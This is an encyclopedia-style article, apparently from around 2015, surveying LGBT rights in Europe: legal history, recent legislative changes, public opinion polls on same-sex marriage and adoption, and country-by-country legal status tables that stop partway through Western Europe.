LGBT rights in Europe

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LGBT rights in Europe
Europe
Europe
Same-sex sexual activity legal? Legal in all 56 states
Legal in all 6 dependencies and other territories
Gender identity/expression Legal in 42 out of 56 states
Legal in 3 out of 6 dependencies and other territories
Military service Allowed to serve openly in 39 out of 52 states having an army
Legal in all 6 dependencies and other territories
Discrimination protections Legal in 42 out of 56 states
Legal in all 6 dependencies and other territories
Family rights
Recognition of
relationships
Legal in 24 out of 56 states
Legal in 3 out of 6 dependencies and other territories
Restrictions:
Same-sex marriage constitutionally banned in 12 out of 56 states
Adoption Adoption for same-sex couples legal in 19 out of 56 states
Legal in 3 out of 6 dependencies and other territories

Lesbian, gay, bisexual, and transgender (LGBT) rights are widely diverse in Europe per country. Thirteen out of the nineteen countries that have legalised same-sex marriage are situated in Europe[A]; a further eleven European countries have legalised civil unions or other forms of recognition for same-sex couples. Austria, Germany, and Switzerland are considering legislation to introduce same-sex marriage. Same-sex marriage in Slovenia and Ireland is to become legal in 2015. In addition, it will be enacted in Finland by March 2017. Bulgaria, Croatia, Hungary, Latvia, Lithuania, Macedonia, Moldova, Montenegro, Poland, Serbia, Slovakia and Ukraine have a constitutional ban on same-sex marriage.

History[edit]

A participant of 2013 Prague Pride wearing a traditional Moravian dress (Hanakia) and a sign "Good day - Olomouc greets Prague"

Although same-sex relationships were quite common (but never an equivalent to marriage between man and woman) in ancient Greece, Rome and pagan Celtic societies, after Christianity became the official religion of the Roman Empire, severe laws against homosexual behavior appeared. An edict by the Emperor Theodosius I in 390 condemned all "passive" homosexual men to death by public burning. This was followed by the Corpus Juris Civilis of Justinian I in 529, which prescribed public castration and execution for all who committed homosexual acts, both active and passive partners. Homosexual behavior, called sodomy, was considered a capital crime in most European countries, and thousands of homosexual men were executed across Europe during waves of persecution in these centuries. Lesbians were less often singled out for punishment, but they also suffered persecution and execution from time to time.[1]

Since the foundation of Poland in 966, Polish law has never defined homosexuality as a crime.[2] Forty years after Poland lost its independence in 1795, the sodomy laws of Russia, Prussia, and Austria came into force in the partitioned Polish territory. Poland regained its independence in 1918 and abandoned the laws of the occupying powers.[3][4][5] In 1932, Poland codified the equal age of consent for homosexuals and heterosexuals at 15.[6]

In Turkey, homosexuality has been legal since 1858.[7]

During the French Revolution, the French National Assembly rewrote the criminal code in 1791, omitting all reference to homosexuality. During the Napoleonic wars, homosexuality was decriminalised in territories coming under French control, such as the Netherlands and many of the pre-unification German states, however in Germany this ended with the unification of the country under the Prussian Kaiser, as Prussia had long punished homosexuality harshly. On 6 August 1942, the Vichy government made homosexual relations with anyone under twenty-one illegal as part of its conservative agenda. Most Vichy legislation was repealed after the war– but the anti-gay Vichy law remained on the books for four decades until it was finally repealed in August 1982 when the age of consent (15) was again made the same for heterosexual as well as homosexual partners.

Nevertheless, gay men and lesbians continued to live closeted lives, since moral and social disapproval by heterosexual society remained strong across Europe for another two decades, until the modern gay rights movement began in 1969.

Further information: LGBT social movements

Various countries under dictatorships in the 20th century were very anti-homosexual, such as in the Soviet Union, in Nazi Germany and in Spain under Francisco Franco's regime. In contrast, after Poland regained independence after World War I, it went on in 1932 to become the first country in 20th-century Europe to decriminalise homosexual activity[clarification needed], followed by Denmark in 1933, Iceland in 1940, Switzerland in 1942 and Sweden in 1944.

In 1962, homosexual behavior was decriminalized in Czechoslovakia, following a scientific research of Kurt Freund that included phallometry of homosexually oriented men who appeared to have given up sexual relations with other men and established heterosexual marriages. Freund came to the conclusion that homosexual orientation may not be changed.[citation needed]

In 1972, Sweden became the first country in the world to allow people who were transsexual by legislation to surgically change their sex and provide free hormone replacement therapy.[8]

In 1979, a number of people in Sweden called in sick with a case of being homosexual, in protest of homosexuality being classified as an illness. This was followed by an activist occupation of the main office of the National Board of Health and Welfare. Within a few months, Sweden became the first country in Europe from those that had previously defined homosexuality as an illness to remove it as such.[9]

In 1989, Denmark was the first country in Europe, and the world, to introduce registered partnerships for same-sex couples.[citation needed]

In 1991, Bulgaria was the first country in Europe to ban same-sex marriage.[10] Since then, eleven countries have followed (Lithuania in 1992, Belarus and Moldova in 1994, Ukraine in 1996, Poland in 1997, Latvia and Serbia in 2006, Montenegro in 2007, Hungary in 2012, Croatia in 2013 and Slovakia in 2014).[10][11]

In 2001 a next step was made, when the Netherlands opened civil marriage for same-sex couples, which made it the first country in the world to do so. Since then, eleven other European states have followed (Belgium in 2003, Spain in 2005, Norway and Sweden in 2009, Portugal and Iceland in 2010, Denmark in 2012, France in 2013, the United Kingdom in 2014 and Luxembourg and the Republic of Ireland in 2015).[citation needed]

On 22 October 2009, the assembly of the Church of Sweden, voted strongly in favour of giving its blessing to homosexual couples,[12] including the use of the term marriage, ("matrimony"). The new law was introduced on 1 November 2009.

Recent developments[edit]

Laws regarding same-sex partnerships in Europe
  Marriage
  Foreign marriages recognized
  Other type of partnership
  Unregistered cohabitation
  Unrecognized
  Constitution limits marriage to opposite-sex couples

Includes laws that have not yet gone into effect.
An anti-gay sticker from a nationalist Polish orgaisation.

Civil partnerships have been legal in the Republic of Ireland since 2011. In 2013, the government held a constitutional convention which voted overwhelmingly in favour of amending the constitution in order to extend marriage rights to same-sex couples. On 22 May 2015, Irish citizens voted on whether to add the following amendment to the constitution: "Marriage may be contracted in accordance with law by two persons without distinction as to their sex.". 62.1% of the electorate voted in favour of the amendment, making Ireland the first country worldwide to introduce marriage equality through a national referendum. Ireland's first same-sex marriage ceremonies are expected to take place in August 2015.

The Isle of Man has allowed civil partnerships since 2011, as well as Jersey in 2012.[citation needed] Liechtenstein also legalized registered partnership by 68 percent of voters via a referendum in 2011.[13]

On 1 January 2012, a new constitution of Hungary enacted by the government of Viktor Orbán, leader of the ruling Fidesz party, came into effect, restricting marriage to opposite-sex couples and containing no guarantees of protection from discrimination on account of sexual orientation.[14]

In 2012, the United Kingdom government launched a public same-sex marriage consultation,[15] intending to change the laws applying to England and Wales. Its Marriage Bill was signed into law on 17 July 2013. The Scottish government launched a similar consultation, aiming to legalise same-sex marriage by 2015. On 4 February 2014, the Scottish Parliament passed a bill to legalise same sex marriages in Scotland as well as ending the "spousal veto" that would allow spouses to deny transgender partners the ability to change their legal gender.[16]

In May 2013, France legalised same-sex marriage; with French president François Hollande signing a law authorizing marriage and adoption by gay couples.[17]

On 7 June 2013, Romania amended its Constitution to ban same-sex marriage through a commission tasked with amending it, with 15 MPs in the commission voting for,and only 3 abstentions.[18]

On 30 June 2013, Vladimir Putin, President of Russia, signed the Russian LGBT propaganda law into force, which was unanimously approved by the State Duma. The law makes distributing propaganda among minors in support of non-traditional sexual relationships a criminal offence.[19]

On 1 December 2013, a referendum was held in Croatia to constitutionally define marriage as a union between a woman and a man. The vote passed, with 65.87% supporting the measure, and a turnout of 37.9%.[20]

On 27 January 2014 in the Turkish Republic of Northern Cyprus (part of Cyprus occupied since the Turkish invasion of Cyprus in 1974) Turkish Cypriot deputies passed an amendment repealing a colonial-era law that punished homosexual acts with up to five years in prison by a new Criminal Code.[21]

On 14 April 2014, the Parliament of Malta voted in favour of the Civil Union Act which recognizes same-sex couples and permits them to adopt children. On the same day the Maltese parliament also voted in favour of a constitutional amendment to ban discrimination based on sexual orientation and gender identity.

On 4 June 2014, the Slovak parliament overwhelmingly approved a constitutional amendment to ban same-sex marriage, with 102 deputies for and 18 deputies against the legislation.[11]

On 18 June 2014, the Parliament of Luxembourg approved a bill to legalise same-sex marriage and adoption.[22] The law was published in the official gazette on 17 July and took effect 1 January 2015.[23][24][25]

On 15 July 2014, Croatian Parliament passed the Life Partnership Act giving same-sex couples all rights that married couples have, except for adoption.[26] However, the Act allows a parent's life partner to become the child's partner-guardian. Partner-guardianship as an institution is equal to step-child adoption in rights and responsibilities, but it does not give parental status to the parent's life partner. Criteria for partner-guardianship and step-parent adoption for opposite-sex couples are the same. Also, regardless of partner-guardianship, a parent's life partner may attain partial parental responsibility over the child either via court or consensus among the parents and life partner, even full in some cases when the court decides that it is in the child's best interest.

In September 2014, a law went into effect in Denmark effectively dropping the former practice of requiring transgender persons to undergo ardous psychiatric evaluation and castration before being allowed legal gender change. By requiring nothing more than a statement of gender identity and subsequent confirmation of the request for gender change after a waiting period of 6 months, this means that anyone wishing their legal gender marker changed can do so with no expert-evaluation and few other formal restrictions.[27] Meanwhile Norwegian Health Minister Bent Høie has made promises that a similar law for Norway will be drafted soon.[28]

On 9 October 2014, the parliament of Estonia passed the Cohabitation bill by a 40-38 vote.[29] It was signed by President Toomas Hendrik Ilves that same day and will take effect on 1 January 2016.[30]

On 27 November 2014 the Parliament of Andorra passed a Civil Union bill, legalising also joint adoption for same-sex partners. On 24 December 2014, the bill was published in the official journal, following promulgation by co-prince François Hollande as signature of one of the two co-princes was needed. It took effect on 25 December 2014.[31]

On 12 December 2014 the Parliament of Finland passed a same-sex marriage bill by a 101-90 vote.[32] The law was signed by President Sauli Niinistö on 20 February 2015. In order that the provisions of the framework law would be fully implementable further legislation has to be passed. The provisional date of the law going into effect is 1 March 2017.[33]

On 21 January 2015, the Parliament of Macedonia overwhelmingly approved Amendment XXXIII to the Constitution of Macedonia, banning same-sex marriage, with 72 MPs voting for and 4 MPs voting against.[34]

On 7 February 2015, Slovaks voted in a referendum to ban same sex marriage and same sex parental adoption.[35] The result of the referendum was for the proposals, with 95% and 92% votes for, respectively.[36] However, the referendum was deemed invalid because of a low turnout.[37]

On 3 March 2015 the Parliament of Slovenia passed a same-sex marriage bill by a 51-28 vote.[38]

Public opinion around Europe[edit]

2010 European Social Survey: % of people in each country who agree or strongly agree that "gay men and lesbians should be free to live their own lives as they wish." [6]
Country Percentage
 Netherlands 92%
 Sweden 89%
 Denmark 89%
 Belgium 87%
 United Kingdom 84%
 Norway 83%
 France 82%
 Ireland 82%
  Switzerland 82%
 Germany 81%
 Spain 80%
 Finland 74%
 Czech Republic 65%
 Portugal 59%
 Greece 50%
 Slovenia 49%
 Bulgaria 47%
 Hungary 45%
 Poland 44%
 Slovakia 42%
 Estonia 41%
 Croatia 38%
 Lithuania 28%
 Ukraine 28%
 Russia 25%

In a 2002 Pew Global Attitudes Project surveyed by the Pew Research Center, showed majorities in every Western European nation said homosexuality should be accepted by society, while most Russians, Poles and Ukrainians disagreed.[39] A Eurobarometer in 2006 surveying up to 30,000 people from each European Union country, showed split opinion around the 27 member states on the issue of same sex marriage. The majority of support came from the Netherlands (82%), Sweden (71%), Denmark (69%), Belgium (62%), Luxembourg (58%), Spain (56%), Finland (54%), Germany (52%) and the Czech Republic (52%). All other countries within the EU had below 50% support; with Romania (11%), Latvia (12%), Cyprus (14%), Bulgaria (15%), Greece (15%), Lithuania (17%), Poland (17%), Hungary (18%) and Malta (18%) at the other end of the list.[40] Same sex adoption had majority support from only two countries: Netherlands at 69% and Sweden at 51% and the least support from Poland and Malta on 7% respectively.[40]

A more recent survey carried out in October 2008 by The Observer affirmed that the majority of Britons – 55% – support gay marriage.[41] A 2013 poll shows that the majority of the Irish public support gay marriage and gay adoption, 73% and 60% respectively.[42] France has support for same sex marriage at 62%,[43] and Russian at 14%.[44] Italy has support for the 'Civil Partnership Law' between gays at 45% with 47% opposed.[45] In 2009 58.9% of Italians supported civil unions, while 40.4 supported same-sex marriage.[46] In 2010, 63.9% of Greeks supported same-sex partnerships, while 38.5% supported same-sex marriage.[47] In 2012 a poll by MaltaToday[48] showed that 41% of Maltese supported same sex marriage, with support increasing to 60% amongst the 18-35 age group. In a 2013 opinion poll conducted by CBOS, 65% of Poles were against same-sex civil unions, 72% of Poles were against same-sex marriage, 88% were against adoption by same-sex couples, and 68% were against gays and lesbians publicly showing their way of life.[49] In Croatia, a poll from November 2013 revealed that 59% of Croats think that marriage should be constitutionally defined as a union between a man and a woman, while 31% do not agree with the idea.[50]

According to pollster Gallup Europe, women, younger generations, and the highly educated are more likely to support same-sex marriage and adoption rights for gay people than other demographics.[51]

Gay rights in the European Union
Opinion polls for same-sex marriage
Country Pollster Year For Against Don't Know/Neutral/No answer/Other
European Union Austria Market/ORF 2014 73%[52][53] 24%[52][53] 3%[52][53]
European Union Belgium Ipsos 2015 69%[54] 31% -
European Union Bulgaria Eurobarometer 2006 15%[55] 65%[55] 20%[55]
European Union Croatia Pilar's barometer 2014 17%[56] 61%[56] 1% – no answer; 21% – Neutral[56]
European Union Cyprus SIGMALIVE 2014 36.7%[57] 56.8%[57] 6.5%[57]
European Union Czech Republic CVVM 2015 49%[58] 47%[58] 4%[58]
European Union Denmark YouGov 2012 79%[59] 16%[59] 6%[59]
European Union Estonia ASi 2012 34%[60] 60%[60] 6%
European Union Finland Taloustutkimus 2014 65%[61] 27%[61] 8%
European Union France Ipsos 2015 53%[54] 47% -
European Union Germany Ipsos 2015 68%[54] 32% -
European Union Greece Focus Bari 2015 56%[62] 35%[62] 9%[62]
European Union Hungary Ipsos 2015 31%[54] 69% -
European Union Ireland Ipsos 2015 66%[54] 34% -
European Union Italy Piepoli 2015 51%[63] 41%[63] 8%[63]
European Union Latvia Eurobarometer 2006 12%[55] 77%[55] 7%[55]
European Union Lithuania RAIT 2014 8%[64] 82%[64] 10%[64]
European Union Luxembourg Politmonitor 2013 82%[65] 17%[65] 1%[65]
European Union Malta MaltaToday 2012 46%[66] 51%[66] 3%
European Union Netherlands Ifop 2013 85%[67] 15% -
 Norway Ipsos 2013 78%[68] 17%[68] 4%[68]
European Union Poland Ipsos 2015 21%[54] 79% -
European Union Portugal Eurosondagem 2010 52%[69] 43%[69] 5%[69]
European Union Romania Eurobarometer 2006 11%[55] 79%[55] 10%[55]
 Russia Ipsos 2015 11%[54] 89% -
European Union Slovakia Eurobarometer 2006 19%[55] 81%[55] 0%[55]
European Union Slovenia Delo 2015 59%[70] 37%[70] 4%[70]
European Union Spain Ipsos 2015 77%[54] 23% -
European Union Sweden Ipsos 2015 74%'[54] 26% -
  Switzerland Ifop 2013 63%[67] 37% -
 Ukraine Gay Alliance of Ukraine 2013 9%[71] 62%[71] 12%
17% would allow some exceptions.[71]
European Union United Kingdom Ipsos 2015 67%[54] 33% -
Legal status of adoption by same-sex couples in Europe:
  Joint adoption legal1
  Stepparent adoption legal2
  No laws allowing adoption by same-sex couples
1In Finland a law will come into force in 2017.
2In Estonia a law will come into force in 2016.
Opinion polls for same-sex adoption
Country Pollster Year For Against Don't Know/Neutral/No answer/Other
European Union Austria Der Standard 2013 56%[72] 37%[72] 7%[72]
European Union Belgium Ipsos 2013 67%[73] 33%[73] 0%[73]
European Union Bulgaria Eurobarometer 2006 12%[55] 68%[55] 20%[55]
European Union Cyprus Eurobarometer 2006 10%[55] 86%[55] 4%[55]
European Union Czech Republic CVVM: stepchild:
from institutional care:
2015 59%[58]
44%[58]
33%[58]
49%[58]
8%[58]
7%[58]
European Union Denmark YouGov 2012 59%[59] 31%[59] 11%[59]
European Union Estonia ASi 2012 26%[74] 66%[74] 8%[74]
European Union Finland Taloustutkimus 2013 51%[75] 42%[75] 7%[75]
European Union France Ifop 2014 53%[76] 47%[76] 0%[76]
European Union Germany YouGov 2015 57%[77] 35%[77] 8%
European Union Greece Focus Bari 2015 30%[62] 56%[62] 14%[62]
European Union Hungary Eurobarometer 2006 13%[55] 81%[55] 6%[55]
European Union Ireland Red C Poll 2011 60%[78] - -
European Union Italy Ipsos 2013 42%[73] 58%[73] 0%[73]
European Union Latvia Eurobarometer 2006 8%[55] 89%[55] 3%[55]
European Union Lithuania Eurobarometer 2006 12%[55] 82%[55] 6%[55]
European Union Luxembourg Politmonitor 2013 55%[65] 44%[65] 1%[65]
European Union Malta Eurobarometer 2006 7%[66] 85%[66] 9%[66]
European Union Netherlands Eurobarometer 2006 69%[66] 27%[66] 4%[66]
European Union Poland CBOS 2013 8%[79] 87%[79] 5%[79]
European Union Portugal Eurobarometer 2006 19%[55] 74%[55] 8%[55]
European Union Romania Eurobarometer 2006 8%[55] 82%[55] 10%[55]
 Russia Levada Public Opinion Center 2013 5%[80] 80%[80] 15%[80]
European Union Slovakia Eurobarometer 2006 12%[55] 84%[55] 4%[55]
European Union Slovenia Delo Stik 2015 38%[70] 55%[70] 7%[70]
European Union Spain Ipsos 2013 73%[73] 27%[73] 0%[73]
European Union Sweden Ipsos 2013 78%[73] 21%[73] 1%[73]
  Switzerland Ifop 2013 63%[81] 37%[81] 0%[81]
 Ukraine Gay Alliance of Ukraine 2013 7% [71] 68%[71] 12%
13% would allow some exceptions[71]
European Union United Kingdom Ipsos 2013 65%[73] 35%[73] 0%[73]

Legislation by country or territory

Tables:

European Union[edit]

European Union member states are indicated with the EU flag in regional European sub-divisions.

EU Flag See: LGBT rights in the European Union
European Union law forbids discrimination on the grounds of sexual orientation. All EU states are required to legalise same-sex sexual activity and implement anti-discrimination laws.[82][83]

Central Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
European UnionAustria Austria Yes Legal since 1971
+ UN decl. sign.[84]
Yes Registered partnership since 2010[85] No (Pending)[86] Yes Step-child adoption since 2013.
Joint adoption court ordered by January 2016.[87][88]
Yes Yes Bans all anti-gay discrimination Yes Gender change is legal.[89]
European UnionCroatia Croatia Yes Legal since 1977 (as part of Yugoslavia)
+ UN decl. sign.[84]
Yes Life partnership since 2014[90] No Constitutionally banned since the 2013 referendum.[91] Yes/No Partner-guardianship since 2014 (parental responsibility and a permanent next-of-kins relationship between a life partner and their partner's child which is registered in the child's birth certificate) Yes Yes Bans all anti-gay discrimination[92][93][93] Yes Act on the elimination of discrimination bans all types discrimination based on both gender identity and gender expression. Gender change is regulated by special policy issued by Ministry of Health. [94]
European UnionCzech Republic Czech Republic Yes Legal since 1962 (as part of Czechoslovakia)
+ UN decl. sign.[84]
Yes Registered partnership since 2006[95] No No LGBT individuals may adopt; (Step-child adoption pending). Yes Yes Bans all anti-gay discrimination[93] Yes Legal recognition granted and amendment of birth certificate after reassignment surgery.
European UnionGermany Germany Yes Legal in East Germany since 1968
Legal in West Berlin and West Germany since 1969
+ UN decl. sign.[84][96]
Yes Registered life partnership since 2001[97] No (Pending)[98] Yes/No Step-child adoption since 2005; (Joint adoption pending) Yes Yes Bans all anti-gay discrimination Yes Gender change is legal.[99]
European UnionHungary Hungary Yes Legal since 1962
+ UN decl. sign.[84]
Yes Registered partnership since 2009[100] No Constitutionally banned since 2012 No LGBT individuals may adopt. Yes Yes Bans all anti-gay discrimination[93] Yes Full legal recognition granted, birth certificate replaced. No surgery or hormone therapy is required for legal gender change.
Liechtenstein Liechtenstein Yes Legal since 1989
+ UN decl. sign.[84]
Yes Registered partnership since 2011[101] No No LGBT individuals may adopt. Has no military No (Proposed)[citation needed] No Gender change is not legal.[89]
European UnionPoland Poland Yes Legal
(No laws against same-sex sexual activity has ever existed in the country)
+ UN decl. sign.[84]
No[102] No Constitutionally banned since 1997.[103] No LGBT individuals may adopt, joint adoption forbidden. Yes Yes Bans some anti-gay discrimination Yes
European UnionRomania Romania Yes Legal since 1996
+ UN decl. sign.[84]
No (Pending) No No LGBT individuals may adopt. Yes Yes Bans all anti-gay discrimination[93] Yes Legal recognition and birth certificates amended after reassignment surgery.
European UnionSlovakia Slovakia Yes Legal since 1962 (as part of Czechoslovakia)
+ UN decl. sign.[84]
No No Constitutionally banned since 2014. No LGBT individuals may adopt Yes Yes Bans all anti-gay discrimination[104][105] Yes (Requires sterilization for change).[89]
European UnionSlovenia Slovenia Yes Legal since 1977 (as part of Yugoslavia)
+ UN decl. sign.[84]
Yes Registered partnership since 2006[106] Yes Legal since 2015 (Pending constitutional assessment) Yes Step-child adoption since 2011.
Joint adoption since 2015.
Yes Yes Bans all anti-gay discrimination[93] Yes Gender change is legal.[107]
Switzerland Switzerland Yes Legal nationwide since 1942
Legal in the cantons of Geneva, Ticino, Valais and Vaud (as part of France) since 1798
+ UN decl. sign.[84]
Yes Registered partnership since 2007[108] No (Pending)[109] (Constitutional ban pending) No LGBT individuals may adopt; (Biological step-child adoption pending).[110] Yes Yes Bans some anti-gay discrimination. (Banning all anti-gay discrimination pending) Yes Legal documents can be issued based on a person's new gender identity. Sterilization technically required not enforced since 2012. Registered Partnership can become Marriage between the new opposite-sex couple.[111]

Eastern Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
Armenia Armenia Yes Legal since 2003
+ UN decl. sign.[84]
No No No No/Yes No explicit ban. However, LGBT persons have been reportedly discharged because of their sexual orientation.[112] No No
Azerbaijan Azerbaijan Yes Legal since 2000[84] No No No Yes[113] No Yes (Requires sterilization for change).[89]
Belarus Belarus Yes Legal since 1994[84] No No Constitutionally banned since 1994[114] No No/Yes Banned from military service during peacetime, but during wartime homosexuals are permitted to enlist as partially able.[115] No LGBT activism/expression deemed terrorism[116] Yes[117]
Georgia (country) Georgia Yes Legal since 2000
+ UN decl. sign.[84]
No No (Constitutional ban proposed) No Emblem-question.svg Yes Bans all anti-gay discrimination[118] Yes (Requires sterilization for change).[89]
Kazakhstan Kazakhstan Yes Legal since 1998[84] No No No No No Emblem-question.svg
Moldova Moldova Yes Legal since 1995
+ UN decl. sign.[84]
No No Constitutionally banned since 1994. No Yes Yes Bans some anti-gay discrimination [93] Yes (Requires sterilization for change).[89]
Russia Russia Yes Male legal since 1993
Female always legal[119][84]
No No (Constitutional ban proposed) No Yes No Yes (Requires sterilization for change).[89]
Ukraine Ukraine Yes Legal since 1991
+ UN decl. sign.[84]
No No Constitutionally banned since 1996 No LGBT individuals may adopt. No/Yes Policies depend on the regional commissioners. No Yes (Requires sterilization for change).[89]

Northern Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
European UnionDenmark Denmark Yes Legal since 1933
+ UN decl. sign.[84]
Yes Registered partnership from 1989 to 2012 (Existing partnerships are still recognized.) Yes Legal since 2012 Yes Step-child adoption since 1999.
Joint adoption since 2010.
Yes Yes Bans all anti-gay discrimination Yes Legal gender change and recognition possible without surgery or hormone therapy.[120]
European UnionEstonia Estonia Yes Legal since 1992
+ UN decl. sign.[84]
Yes Cohabitation agreement from 2016[121] No Yes/No Step-child adoption from 2016 Yes Yes Bans all anti-gay discrimination[93] Yes Forbids discrimination based on gender identity.
Faroe Islands Faroe Islands
(constituent country of the Kingdom of Denmark)
Yes Legal since 1933
+ UN decl. sign.[84]
No No No Yes (Denmark responsible for defence) Yes Bans some anti-gay discrimination No[122]
European UnionFinland Finland Yes Legal since 1971
+ UN decl. sign.[84]
Yes Registered partnership since 2002[123] Yes From March 2017[124] Yes Step-child adoption since 2009.
Joint adoption from March 2017.
Yes Yes Bans all anti-gay discrimination[93] Yes Legal change and recognition is possible only with sterilization.[125]
Iceland Iceland Yes Legal since 1940
(as part of Denmark)
+ UN decl. sign.[84]
Yes Registered cohabitation since 2006[126];
Registered partnership from 1996 to 2010 (Existing partnerships are still recognized.)
Yes Legal since 2010 Yes Legal since 2006 Has no military Yes Bans all anti-gay discrimination Yes Documents can be amended to the recognised gender.
European UnionLatvia Latvia Yes Legal since 1992
+ UN decl. sign.[84]
No No
Constitutionally banned since 2006
No LGBT individuals may adopt Yes Yes Bans some anti-gay discrimination[93] Yes Documents are amended accordingly, no medical intervention required.[127]
European UnionLithuania Lithuania Yes Legal since 1993
+ UN decl. sign.[84]
No (Pending)[128] No
Constitutionally banned since 1992
No Only married couples can adopt No[129] Yes Bans all anti-gay discrimination[93] Yes Gender change is legal since 2003.[130]
Norway Norway Yes Legal since 1972
+ UN decl. sign.[84]
Yes Registered partnership from 1993 to 2009 (Existing partnerships are still recognized.) Yes Legal since 2009 Yes Legal since 2009 Yes Yes Bans all anti-gay discrimination[93] Yes All documents can be amended to the recognised gender.
European UnionSweden Sweden Yes Legal since 1944
+ UN decl. sign.[84]
Yes Registered partnership from 1995 to 2009 (Existing partnerships are still recognized.) Yes Legal since 2009 Yes Legal since 2003 Yes Yes Bans all anti-gay discrimination[93] Yes

Southern Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
Akrotiri and Dhekelia Akrotiri and Dhekelia
(overseas territory of the United Kingdom)
Yes Legal since 2000
+ UN decl. sign.[84][131][132]
No No Emblem-question.svg Yes UK responsible for defence Yes Bans some anti-gay discrimination[133] Emblem-question.svg
Albania Albania Yes Legal since 1995
+ UN decl. sign.[84]
No (Pending) No No Yes Yes Bans all anti-gay discrimination[93] Yes Forbids discrimination based on gender identity.

No Gender change is not legal.[89]

Andorra Andorra Yes Legal since 1990
+ UN decl. sign.[84]
Yes Stable union since 2005[134]; Civil union since 2014.[135] No Yes Legal since 2014[136][137][138] Has no military Yes Bans all anti-gay discrimination[93] No Gender change is not legal.
Bosnia and Herzegovina Bosnia and Herzegovina Yes Legal since 1998 in the Federation of Bosnia and Herzegovina, Republika Srpska in 2000, and Brcko District in 2001
+ UN decl. sign.[84]
No No No Yes Yes Bans some anti-gay discrimination[93] No
European UnionBulgaria Bulgaria Yes Legal since 1968
+ UN decl. sign.[84]
No No Constitutionally banned since 1991. No LGBT individuals may adopt. Yes Yes Bans all anti-gay discrimination Yes (Requires sterilization for change). Forbids discrimination based on gender identity. [139] [140]
European UnionCyprus Cyprus Yes Legal since 1998
+ UN decl. sign.[84]
No (Pending)[141] No No (Step-child adoption pending)[142] No (The only EU country to ban LGBT people in the military, not enforced) Yes Bans all anti-gay discrimination[93] Yes Forbids discrimination based on gender identity.
European UnionGibraltar Gibraltar
(overseas territory of the United Kingdom)
Yes Legal since 1993
+ UN decl. sign.[84]
Yes Civil partnership since 2014[143] No Yes Legal since 2014 Yes UK responsible for defence Yes Bans some anti-gay discrimination (Banning all anti-gay discrimination pending) X mark.svg (Pending)[144]
European UnionGreece Greece Yes Legal since 1951
(Age of consent discrepancy)
+ UN decl. sign.[84]
No (Pending)[145] No No Yes Yes Bans all anti-gay discrimination Yes (Requires sterilization for change).
European UnionItaly Italy Yes Legal since 1890
Legal in parts of Friuli-Venezia Giulia, along with Trentino-Alto Adige/Südtirol since 1919
(Illegal in parts of Friuli-Venezia Giulia, illegal in parts of Veneto, along with Trentino-Alto Adige/Südtirol from 1943-1945 under annexation of Nazi Germany)
+ UN decl. sign.[84]
No (Pending)[146][147][148] No (Pending)[149][150][151] No (Step-child adoption pending)[152] Yes Yes Bans some anti-gay discrimination Yes Since 1982 legal recognition and documents can be amended to the recognised gender.[153]
Republic of Macedonia Macedonia Yes Legal since 1996
+ UN decl. sign.[84]
No No (Constitutional ban pending)[154] No Yes No No
European UnionMalta Malta Yes Legal since 1973
+ UN decl. sign.[84]
Yes Civil union since 2014[155] No/Yes Marriage performed abroad recognized since 2014[156][157] Yes Legal since 2014 Yes Yes Bans all anti-gay discrimination Yes Since 2015.[158]
Montenegro Montenegro Yes Legal since 1977 (as part of Yugoslavia)
+ UN decl. sign.[84]
No No Constitutionally banned since 2007. No Yes Yes Bans all anti-gay discrimination[93] Yes (Requires sterilization for change).[89] Forbids discrimination based on gender identity.
European UnionPortugal Portugal Yes Legal since 1983
+ UN decl. sign.[84]
Yes Unregistered cohabitation since 2001 Yes Legal since 2010[159] No LGBT individuals may adopt Yes Yes Bans all anti-gay discrimination. Yes Since 2011. All documents can be amended to the recognised gender.
San Marino San Marino Yes Legal since 1865
+ UN decl. sign.[84]
Yes Unregistered cohabitation since 2012 (only for one entitlement) No No Emblem-question.svg Yes Bans all anti-gay discrimination[160] No Gender change is not legal.[89]
Serbia Serbia Yes Legal from 1858, when nominally a vassal of Ottoman Empire to 1860[161] and again since 1994 (as part of Yugoslavia)
+ UN decl. sign.[84]
No No Constitutionally banned since 2006. No Yes Yes Bans all anti-gay discrimination[93] Yes Since 2007. Gender change is legal.
European UnionSpain Spain Yes Legal since 1979
+ UN decl. sign.[84]
Yes Unregistered cohabitation since 1994. Since 1997, different cities and regions have legislated their own version of civil union.[162] Yes Legal since 2005 Yes Legal since 2005 Yes Yes Bans all anti-gay discrimination[93] Yes Since 2007, all documents can be amended to the recognised gender[163]
Turkey Turkey Yes Legal since 1858[84] No No No No (Proposed)[164] No (Proposed)[165] Yes (Requires sterilization for change).
Vatican City Vatican City Yes Legal since 1890 (as part of Italy)[84] No No No Has no military No X mark.svg

Western Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
European UnionBelgium Belgium Yes Legal nationwide since 1795
(as part of France)

Legal in Eupen-Malmedy since 1919
(Illegal from 1944-1944/1945 as part of Reichskommissariat Belgien-Nordfrankreich and under annexation of Nazi Germany)
+ UN decl. sign.[84]

Yes Statutory cohabitation since 2000[166] Yes Legal since 2003 Yes Legal since 2006 Yes Yes Bans all anti-gay discrimination Yes The 2007 law concerning transsexuality[167] grants the right to a legal name and gender change. (Requires hormone treatment for name change and sterilization for gender change).
European UnionFrance France Yes Legal nationwide since 1791
Legal in Savoy since 1792
Legal in parts of Alpes-Maritimes, Bas-Rhin, Haute-Saône, Moselle, and Vosges since 1793
Legal in parts of Haut-Rhin since 1798
Legal in parts of Alpes-Maritimes, Hautes-Alpes and Savoie since 1890
(as part of Italy)
